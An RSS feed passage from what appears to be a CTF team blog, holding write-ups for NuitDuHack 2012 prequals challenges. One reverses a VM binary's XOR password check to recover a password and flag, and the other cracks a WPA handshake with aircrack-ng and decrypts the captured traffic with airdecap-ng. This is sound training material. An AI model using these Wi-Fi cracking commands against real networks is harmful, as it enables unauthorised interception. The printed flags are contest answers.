<span style="color: #0000ff;">0x8017</span> &gt; <span style="color: #00007f; font-weight: bold;">test</span> r1<span style="color: #339933;">,</span> r1
<span style="color: #0000ff;">0x801a</span> &gt; <span style="color: #00007f; font-weight: bold;">inc</span> r2
<span style="color: #0000ff;">0x801c</span> &gt; <span style="color: #00007f; font-weight: bold;">inc</span> r0
<span style="color: #0000ff;">0x801e</span> &gt; <span style="color: #00007f; font-weight: bold;">jnz</span> <span style="color: #0000ff;">0xfff2</span>
<span style="color: #0000ff;">0x8021</span> &gt; <span style="color: #00007f; font-weight: bold;">dec</span> r2
<span style="color: #0000ff;">0x8023</span> &gt; <span style="color: #00007f; font-weight: bold;">mov</span> r0<span style="color: #339933;">,</span> r2
<span style="color: #0000ff;">0x8027</span> &gt; <span style="color: #00007f; font-weight: bold;">pop</span> r2
<span style="color: #0000ff;">0x8029</span> &gt; <span style="color: #00007f; font-weight: bold;">pop</span> r1
<span style="color: #0000ff;">0x802b</span> &gt; <span style="color: #00007f; font-weight: bold;">ret</span>
<span style="color: #0000ff;">0x82f5</span> &gt; cmpb r0<span style="color: #339933;">,</span> #<span style="color: #0000ff;">9</span>  &lt;<span style="color: #339933;">-</span> <span style="color: #000000; font-weight: bold;">length</span> compare
<span style="color: #0000ff;">0x82f9</span> &gt; <span style="color: #00007f; font-weight: bold;">jz</span> <span style="color: #0000ff;">0x05</span>
<span style="color: #0000ff;">0x82fc</span> &gt; <span style="color: #00007f; font-weight: bold;">call</span> <span style="color: #0000ff;">0xffd4</span></pre></div></div>

<p>It&#8217;s easy to see that the length of the input is compared to 9. So the password&#8217;s length is 8 (plus one for &#8220;\n&#8221; char):</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;">$ <span style="color: #339933;">./</span>vmndh <span style="color: #339933;">-</span>file executable1<span style="color: #339933;">.</span>ndh <span style="color: #339933;">-</span>debug
<span style="color: #009900; font-weight: bold;">&#91;</span>Console<span style="color: #009900; font-weight: bold;">&#93;</span>#&gt; <span style="color: #00007f;">bp</span> <span style="color: #0000ff;">0x82f5</span>
Breakpoint set <span style="color: #00007f; font-weight: bold;">in</span> <span style="color: #0000ff;">0x82f5</span>
<span style="color: #009900; font-weight: bold;">&#91;</span>Console<span style="color: #009900; font-weight: bold;">&#93;</span>#&gt; run
<span style="color: #339933;">...</span>
<span style="color: #0000ff;">0x83ff</span> &gt; <span style="color: #000000; font-weight: bold;">syscall</span> <span style="color: #009900; font-weight: bold;">&#40;</span>r0 = <span style="color: #0000ff;">0x0003</span> <span style="color: #339933;">-</span> read<span style="color: #009900; font-weight: bold;">&#41;</span>
testtest
<span style="color: #339933;">...</span>
&nbsp;
<span style="color: #009900; font-weight: bold;">&#91;</span>BreakPoint <span style="color: #0000ff;">1</span> <span style="color: #339933;">-</span> <span style="color: #0000ff;">0x82f5</span><span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #0000ff;">0x82f5</span> &gt; cmpb r0<span style="color: #339933;">,</span> #<span style="color: #0000ff;">9</span>
<span style="color: #009900; font-weight: bold;">&#91;</span>Console<span style="color: #009900; font-weight: bold;">&#93;</span>#&gt; 
<span style="color: #0000ff;">0x82f9</span> &gt; <span style="color: #00007f; font-weight: bold;">jz</span> <span style="color: #0000ff;">0x05</span>
<span style="color: #009900; font-weight: bold;">&#91;</span>Console<span style="color: #009900; font-weight: bold;">&#93;</span>#&gt; 
<span style="color: #0000ff;">0x8301</span> &gt; <span style="color: #00007f; font-weight: bold;">mov</span> r0<span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span>r7<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #009900; font-weight: bold;">&#91;</span>Console<span style="color: #009900; font-weight: bold;">&#93;</span>#&gt; 
<span style="color: #0000ff;">0x8305</span> &gt; <span style="color: #00007f; font-weight: bold;">mov</span> r1<span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span>r6<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #009900; font-weight: bold;">&#91;</span>Console<span style="color: #009900; font-weight: bold;">&#93;</span>#&gt; dis <span style="color: #0000ff;">8301</span><span style="color: #339933;">:</span><span style="color: #0000ff;">100</span>
<span style="color: #0000ff;">0x8301</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">mov</span> r0<span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span>r7<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #0000ff;">0x8305</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">mov</span> r1<span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span>r6<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #0000ff;">0x8309</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">xor</span> r0<span style="color: #339933;">,</span> r1
<span style="color: #0000ff;">0x830d</span><span style="color: #339933;">:</span> cmpb r0<span style="color: #339933;">,</span> #<span style="color: #0000ff;">78</span>   &lt;<span style="color: #339933;">---</span> <span style="color: #0000ff;">1</span>
<span style="color: #0000ff;">0x8311</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">jz</span> <span style="color: #0000ff;">0x0005</span> <span style="color: #339933;">//</span><span style="color: #0000ff;">8319</span>
<span style="color: #0000ff;">0x8314</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">call</span> <span style="color: #0000ff;">0xffbc</span> <span style="color: #339933;">//</span>82d4
<span style="color: #0000ff;">0x8318</span><span style="color: #339933;">:</span> <span style="color: #000000; font-weight: bold;">end</span>
<span style="color: #0000ff;">0x8319</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">inc</span> r7
<span style="color: #0000ff;">0x831b</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">inc</span> r6
<span style="color: #0000ff;">0x831d</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">mov</span> r0<span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span>r7<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #0000ff;">0x8321</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">mov</span> r1<span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span>r6<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #0000ff;">0x8325</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">xor</span> r0<span style="color: #339933;">,</span> r1
<span style="color: #0000ff;">0x8329</span><span style="color: #339933;">:</span> cmpb r0<span style="color: #339933;">,</span> #<span style="color: #0000ff;">44</span>   &lt;<span style="color: #339933;">---</span> <span style="color: #0000ff;">2</span>
<span style="color: #0000ff;">0x832d</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">jz</span> <span style="color: #0000ff;">0x0005</span> <span style="color: #339933;">//</span><span style="color: #0000ff;">8335</span>
<span style="color: #0000ff;">0x8330</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">call</span> <span style="color: #0000ff;">0xffa0</span> <span style="color: #339933;">//</span>82d4
<span style="color: #0000ff;">0x8334</span><span style="color: #339933;">:</span> <span style="color: #000000; font-weight: bold;">end</span>
<span style="color: #0000ff;">0x8335</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">inc</span> r7
<span style="color: #0000ff;">0x8337</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">inc</span> r6
<span style="color: #0000ff;">0x8339</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">mov</span> r0<span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span>r7<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #0000ff;">0x833d</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">mov</span> r1<span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span>r6<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #0000ff;">0x8341</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">xor</span> r0<span style="color: #339933;">,</span> r1
<span style="color: #0000ff;">0x8345</span><span style="color: #339933;">:</span> cmpb r0<span style="color: #339933;">,</span> #<span style="color: #0000ff;">73</span>   &lt;<span style="color: #339933;">---</span> <span style="color: #0000ff;">3</span>
<span style="color: #0000ff;">0x8349</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">jz</span> <span style="color: #0000ff;">0x0005</span> <span style="color: #339933;">//</span><span style="color: #0000ff;">8351</span>
<span style="color: #0000ff;">0x834c</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">call</span> <span style="color: #0000ff;">0xff84</span> <span style="color: #339933;">//</span>82d4
<span style="color: #0000ff;">0x8350</span><span style="color: #339933;">:</span> <span style="color: #000000; font-weight: bold;">end</span>
<span style="color: #0000ff;">0x8351</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">inc</span> r7
<span style="color: #0000ff;">0x8353</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">inc</span> r6
<span style="color: #0000ff;">0x8355</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">mov</span> r0<span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span>r7<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #0000ff;">0x8359</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">mov</span> r1<span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span>r6<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #0000ff;">0x835d</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">xor</span> r0<span style="color: #339933;">,</span> r1
<span style="color: #0000ff;">0x8361</span><span style="color: #339933;">:</span> cmpb r0<span style="color: #339933;">,</span> #6b   &lt;<span style="color: #339933;">---</span> <span style="color: #0000ff;">4</span>
<span style="color: #0000ff;">0x8365</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">jz</span> <span style="color: #0000ff;">0x0005</span> <span style="color: #339933;">//</span>836d
<span style="color: #0000ff;">0x8368</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">call</span> <span style="color: #0000ff;">0xff68</span> <span style="color: #339933;">//</span>82d4
<span style="color: #0000ff;">0x836c</span><span style="color: #339933;">:</span> <span style="color: #000000; font-weight: bold;">end</span>
<span style="color: #0000ff;">0x836d</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">inc</span> r7
<span style="color: #0000ff;">0x836f</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">inc</span> r6
<span style="color: #0000ff;">0x8371</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">mov</span> r0<span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span>r7<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #0000ff;">0x8375</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">mov</span> r1<span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span>r6<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #0000ff;">0x8379</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">xor</span> r0<span style="color: #339933;">,</span> r1
<span style="color: #0000ff;">0x837d</span><span style="color: #339933;">:</span> cmpb r0<span style="color: #339933;">,</span> #<span style="color: #0000ff;">61</span>   &lt;<span style="color: #339933;">---</span> <span style="color: #0000ff;">5</span>
<span style="color: #0000ff;">0x8381</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">jz</span> <span style="color: #0000ff;">0x0005</span> <span style="color: #339933;">//</span><span style="color: #0000ff;">8389</span>
<span style="color: #0000ff;">0x8384</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">call</span> <span style="color: #0000ff;">0xff4c</span> <span style="color: #339933;">//</span>82d4
<span style="color: #0000ff;">0x8388</span><span style="color: #339933;">:</span> <span style="color: #000000; font-weight: bold;">end</span>
<span style="color: #0000ff;">0x8389</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">inc</span> r7
<span style="color: #0000ff;">0x838b</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">inc</span> r6
<span style="color: #0000ff;">0x838d</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">mov</span> r0<span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span>r7<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #0000ff;">0x8391</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">mov</span> r1<span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span>r6<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #0000ff;">0x8395</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">xor</span> r0<span style="color: #339933;">,</span> r1
<span style="color: #0000ff;">0x8399</span><span style="color: #339933;">:</span> cmpb r0<span style="color: #339933;">,</span> #3e   &lt;<span style="color: #339933;">---</span> <span style="color: #0000ff;">6</span>
<span style="color: #0000ff;">0x839d</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">jz</span> <span style="color: #0000ff;">0x0005</span> <span style="color: #339933;">//</span>83a5
<span style="color: #0000ff;">0x83a0</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">call</span> <span style="color: #0000ff;">0xff30</span> <span style="color: #339933;">//</span>82d4
<span style="color: #0000ff;">0x83a4</span><span style="color: #339933;">:</span> <span style="color: #000000; font-weight: bold;">end</span>
<span style="color: #0000ff;">0x83a5</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">inc</span> r7
<span style="color: #0000ff;">0x83a7</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">inc</span> r6
<span style="color: #0000ff;">0x83a9</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">mov</span> r0<span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span>r7<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #0000ff;">0x83ad</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">mov</span> r1<span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span>r6<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #0000ff;">0x83b1</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">xor</span> r0<span style="color: #339933;">,</span> r1
<span style="color: #0000ff;">0x83b5</span><span style="color: #339933;">:</span> cmpb r0<span style="color: #339933;">,</span> #6e   &lt;<span style="color: #339933;">---</span> <span style="color: #0000ff;">7</span>
<span style="color: #0000ff;">0x83b9</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">jz</span> <span style="color: #0000ff;">0x0005</span> <span style="color: #339933;">//</span>83c1
<span style="color: #0000ff;">0x83bc</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">call</span> <span style="color: #0000ff;">0xff14</span> <span style="color: #339933;">//</span>82d4
<span style="color: #0000ff;">0x83c0</span><span style="color: #339933;">:</span> <span style="color: #000000; font-weight: bold;">end</span>
<span style="color: #0000ff;">0x83c1</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">inc</span> r7
<span style="color: #0000ff;">0x83c3</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">inc</span> r6
<span style="color: #0000ff;">0x83c5</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">mov</span> r0<span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span>r7<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #0000ff;">0x83c9</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">mov</span> r1<span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span>r6<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #0000ff;">0x83cd</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">xor</span> r0<span style="color: #339933;">,</span> r1
<span style="color: #0000ff;">0x83d1</span><span style="color: #339933;">:</span> cmpb r0<span style="color: #339933;">,</span> #5e   &lt;<span style="color: #339933;">---</span> <span style="color: #0000ff;">8</span>
<span style="color: #0000ff;">0x83d5</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">jz</span> <span style="color: #0000ff;">0x0005</span> <span style="color: #339933;">//</span>83dd</pre></div></div>

<p>Here two strings are xored and the result is checked with a hardcoded string. Let&#8217;s see them:</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #009900; font-weight: bold;">&#91;</span>Console<span style="color: #009900; font-weight: bold;">&#93;</span>#&gt; info regs
<span style="color: #009900; font-weight: bold;">&#91;</span>r0<span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">:</span> <span style="color: #0000ff;">0074</span>	<span style="color: #009900; font-weight: bold;">&#91;</span>r4<span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">:</span> <span style="color: #0000ff;">0000</span>
<span style="color: #009900; font-weight: bold;">&#91;</span>r1<span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">:</span> <span style="color: #0000ff;">0002</span>	<span style="color: #009900; font-weight: bold;">&#91;</span>r5<span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">:</span> <span style="color: #0000ff;">0000</span>
<span style="color: #009900; font-weight: bold;">&#91;</span>r2<span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">:</span> 7fda	<span style="color: #009900; font-weight: bold;">&#91;</span>r6<span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">:</span> 840d
<span style="color: #009900; font-weight: bold;">&#91;</span>r3<span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">:</span> <span style="color: #0000ff;">001f</span>	<span style="color: #009900; font-weight: bold;">&#91;</span>r7<span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">:</span> 7fda
&nbsp;
<span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">bp</span><span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">:</span> 7ffa	<span style="color: #009900; font-weight: bold;">&#91;</span>zf<span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">:</span> <span style="color: #0000ff;">0001</span>
<span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">sp</span><span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">:</span> 7fd8	<span style="color: #009900; font-weight: bold;">&#91;</span>af<span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">:</span> <span style="color: #0000ff;">0000</span>
<span style="color: #009900; font-weight: bold;">&#91;</span>pc<span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">:</span> <span style="color: #0000ff;">8309</span>	<span style="color: #009900; font-weight: bold;">&#91;</span>bf<span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">:</span> <span style="color: #0000ff;">0000</span>
<span style="color: #009900; font-weight: bold;">&#91;</span>Console<span style="color: #009900; font-weight: bold;">&#93;</span>#&gt; x<span style="color: #339933;">/</span>x 840d<span style="color: #339933;">:</span><span style="color: #0000ff;">10</span>
<span style="color: #0000ff;">0x840d</span><span style="color: #339933;">:</span> <span style="color: #0000ff;">02</span> <span style="color: #0000ff;">05</span> <span style="color: #0000ff;">03</span> <span style="color: #0000ff;">07</span> <span style="color: #0000ff;">08</span> <span style="color: #0000ff;">06</span> <span style="color: #0000ff;">01</span> <span style="color: #0000ff;">09</span> <span style="color: #0000ff;">53</span> <span style="color: #0000ff;">63</span> <span style="color: #0000ff;">69</span> <span style="color: #0000ff;">74</span> <span style="color: #0000ff;">65</span> <span style="color: #0000ff;">65</span> 6b <span style="color: #0000ff;">20</span> 
<span style="color: #009900; font-weight: bold;">&#91;</span>Console<span style="color: #009900; font-weight: bold;">&#93;</span>#&gt; x<span style="color: #339933;">/</span>x 7fda<span style="color: #339933;">:</span><span style="color: #0000ff;">10</span>
<span style="color: #0000ff;">0x7fda</span><span style="color: #339933;">:</span> <span style="color: #0000ff;">74</span> <span style="color: #0000ff;">65</span> <span style="color: #0000ff;">73</span> <span style="color: #0000ff;">74</span> <span style="color: #0000ff;">74</span> <span style="color: #0000ff;">65</span> <span style="color: #0000ff;">73</span> <span style="color: #0000ff;">74</span> 0a <span style="color: #0000ff;">00</span> <span style="color: #0000ff;">00</span> <span style="color: #0000ff;">00</span> <span style="color: #0000ff;">00</span> <span style="color: #0000ff;">00</span> <span style="color: #0000ff;">00</span> <span style="color: #0000ff;">00</span>
        t  e  s  t  t  e  s  t  \n</pre></div></div>

<p>So, the key is</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #0000ff;">&quot;<span style="color: #660099; font-weight: bold;">\x02</span><span style="color: #660099; font-weight: bold;">\x05</span><span style="color: #660099; font-weight: bold;">\x03</span><span style="color: #660099; font-weight: bold;">\x07</span><span style="color: #660099; font-weight: bold;">\x08</span><span style="color: #660099; font-weight: bold;">\x06</span><span style="color: #660099; font-weight: bold;">\x01</span><span style="color: #660099; font-weight: bold;">\x09</span>&quot;</span>
xor
<span style="color: #0000ff;">&quot;<span style="color: #660099; font-weight: bold;">\x78</span><span style="color: #660099; font-weight: bold;">\x44</span><span style="color: #660099; font-weight: bold;">\x73</span><span style="color: #660099; font-weight: bold;">\x6b</span><span style="color: #660099; font-weight: bold;">\x61</span><span style="color: #660099; font-weight: bold;">\x3e</span><span style="color: #660099; font-weight: bold;">\x6e</span><span style="color: #660099; font-weight: bold;">\x5e</span>&quot;</span>
<span style="color: #339933;">---</span>
<span style="color: #0000ff;">&quot;zApli8oW&quot;</span></pre></div></div>

<p>Connect to the server:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ nc sci.nuitduhack.com <span style="color: #000000;">4001</span>
Sciteek protected storage <span style="color: #666666; font-style: italic;">#1</span>
Enter your password: zApli8oW
<span style="color: #000000; font-weight: bold;">&lt;</span>PSP <span style="color: #007800;">version</span>=<span style="color: #ff0000;">&quot;1.99&quot;</span><span style="color: #000000; font-weight: bold;">&gt;</span>
<span style="color: #000000; font-weight: bold;">&lt;</span>MOTD<span style="color: #000000; font-weight: bold;">&gt;</span>
<span style="color: #000000; font-weight: bold;">&lt;!</span><span style="color: #7a0874; font-weight: bold;">&#91;</span>CDATA<span style="color: #7a0874; font-weight: bold;">&#91;</span>
Welcome on SciPad Protected Storage.
&nbsp;
The most secure storage designed by Sciteek. This storage protocol
allows our <span style="color: #c20cb9; font-weight: bold;">users</span> to share files <span style="color: #000000; font-weight: bold;">in</span> the cloud, <span style="color: #000000; font-weight: bold;">in</span> a dual way.
&nbsp;
This daemon has been optimized <span style="color: #000000; font-weight: bold;">for</span> SciPad v1, running SciOS 16bits
with our brand new processor.
<span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #000000; font-weight: bold;">&gt;</span>
<span style="color: #000000; font-weight: bold;">&lt;/</span>MOTD<span style="color: #000000; font-weight: bold;">&gt;</span>
<span style="color: #000000; font-weight: bold;">&lt;</span>FLAG<span style="color: #000000; font-weight: bold;">&gt;</span>
ea1670464251ea3b65afd624d9b17cd7
<span style="color: #000000; font-weight: bold;">&lt;/</span>FLAG<span style="color: #000000; font-weight: bold;">&gt;</span>
<span style="color: #000000; font-weight: bold;">&lt;</span>ERROR<span style="color: #000000; font-weight: bold;">&gt;</span>
An unexpected error occured: PSP-UNK-ERR-001<span style="color: #000000; font-weight: bold;">&gt;</span> application closed.
<span style="color: #000000; font-weight: bold;">&lt;/</span>ERROR<span style="color: #000000; font-weight: bold;">&gt;</span>
<span style="color: #000000; font-weight: bold;">&lt;/</span>PSP<span style="color: #000000; font-weight: bold;">&gt;</span></pre></div></div>

<p>The flag is: <strong>ea1670464251ea3b65afd624d9b17cd7</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://leetmore.ctf.su/wp/nuitduhack-2012-prequals-executable1-ndh/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>NuitDuHack 2012 Prequals &#8211; sciteekadm.cap</title>
		<link>http://leetmore.ctf.su/wp/nuitduhack-2012-prequals-sciteekadm-cap/</link>
		<comments>http://leetmore.ctf.su/wp/nuitduhack-2012-prequals-sciteekadm-cap/#comments</comments>
		<pubDate>Sun, 25 Mar 2012 23:00:15 +0000</pubDate>
		<dc:creator>hellman</dc:creator>
				<category><![CDATA[Writeups]]></category>
		<category><![CDATA[2012]]></category>
		<category><![CDATA[aircrack]]></category>
		<category><![CDATA[airdecap]]></category>
		<category><![CDATA[ctf]]></category>
		<category><![CDATA[IEEE 802.11]]></category>
		<category><![CDATA[ndh2k12]]></category>
		<category><![CDATA[nuitduhack]]></category>
		<category><![CDATA[wireshark]]></category>
		<category><![CDATA[wpa]]></category>

		<guid isPermaLink="false">http://leetmore.ctf.su/?p=2451</guid>
		<description><![CDATA[Hopefully, we succeeded to spy some wireless communications around Sciteek building, our technical staff has attached the capture file, will you be able to exploit it? We hope that some valuable files were exchanged during the capture. Please entitle your reply &#8220;captured file&#8221;, as usual. By the way, your account has been credited with $1000.&#8230; <a class="continue_reading" href="http://leetmore.ctf.su/wp/nuitduhack-2012-prequals-sciteekadm-cap/">Continue reading &#187;</a>]]></description>
			<content:encoded><![CDATA[<blockquote><p>Hopefully, we succeeded to spy some wireless communications around Sciteek<br />
building, our technical staff has attached the capture file, will you be able<br />
to exploit it? We hope that some valuable files were exchanged during the<br />
capture.<br />
Please entitle your reply &#8220;captured file&#8221;, as usual.</p>
<p>By the way, your account has been credited with $1000.</p></blockquote>
<p><strong>Summary:</strong> WPA traffic decrypting</p>
<p><span id="more-2451"></span></p>
<p>Here we have a pcap file with 802.11 (wireless) traffic dump. Seems it&#8217;s encrypted, let&#8217;s try aircrack:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ aircrack-ng sciteekadm.cap <span style="color: #660033;">-w</span> <span style="color: #000000;">500</span>-worst-passwords.txt 
Opening sciteekadm.cap
Read <span style="color: #000000;">345</span> packets.
&nbsp;
   <span style="color: #666666; font-style: italic;">#  BSSID              ESSID                     Encryption</span>
&nbsp;
   <span style="color: #000000;">1</span>  <span style="color: #000000;">40</span>:FC:<span style="color: #000000;">89</span>:E0:FF:D3  Sciteek-adm               WPA <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">1</span> handshake<span style="color: #7a0874; font-weight: bold;">&#41;</span>
&nbsp;
Choosing first network <span style="color: #c20cb9; font-weight: bold;">as</span> target.
&nbsp;
Opening sciteekadm.cap
Reading packets, please wait...
&nbsp;
                                 Aircrack-ng <span style="color: #000000;">1.1</span>
&nbsp;
&nbsp;
                   <span style="color: #7a0874; font-weight: bold;">&#91;</span>00:00:00<span style="color: #7a0874; font-weight: bold;">&#93;</span> <span style="color: #000000;">4</span> keys tested <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">300.98</span> k<span style="color: #000000; font-weight: bold;">/</span>s<span style="color: #7a0874; font-weight: bold;">&#41;</span>
&nbsp;
&nbsp;
                           KEY FOUND<span style="color: #000000; font-weight: bold;">!</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">12345678</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span></pre></div></div>

<p>Password found! But sadly, wireshark can&#8217;t decrypt it, because EAPOL packets are corrupted/missing.<br />
But there is a nice tool called <strong>airdecap-ng</strong> (thx to <a href="https://twitter.com/#!/kyprizel">@kyprizel</a>):</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ airdecap-ng <span style="color: #660033;">-p</span> <span style="color: #000000;">12345678</span> sciteekadm.cap <span style="color: #660033;">-e</span> Sciteek-adm
Total number of packets <span style="color: #c20cb9; font-weight: bold;">read</span>           <span style="color: #000000;">345</span>
Total number of WEP data packets         <span style="color: #000000;">0</span>
Total number of WPA data packets        <span style="color: #000000;">55</span>
Number of plaintext data packets         <span style="color: #000000;">0</span>
Number of decrypted WEP  packets         <span style="color: #000000;">0</span>
Number of corrupted WEP  packets         <span style="color: #000000;">0</span>
Number of decrypted WPA  packets        <span style="color: #000000;">41</span>
$ wireshark sciteekadm-dec.cap</pre></div></div>

<p>Now we can simply extract a file from tcp session:<br />
<a href="http://leetmore.ctf.su/wp-content/uploads/2012/03/out1.png"><img src="http://leetmore.ctf.su/wp-content/uploads/2012/03/out1.png" alt="" title="out1" width="160" height="8" class="alignnone size-full wp-image-2452" /></a></p>
<p>The flag: <strong>7e4ef92d1472fa1a2d41b2d3c1d2b77a</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://leetmore.ctf.su/wp/nuitduhack-2012-prequals-sciteekadm-cap/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>NuitDuHack 2012 Prequals &#8211; executable2.ndh</title>
		<link>http://leetmore.ctf.su/wp/nuitduhack-2012-prequals-executable2-ndh/</link>
		<comments>http://leetmore.ctf.su/wp/nuitduhack-2012-prequals-executable2-ndh/#comments</comments>
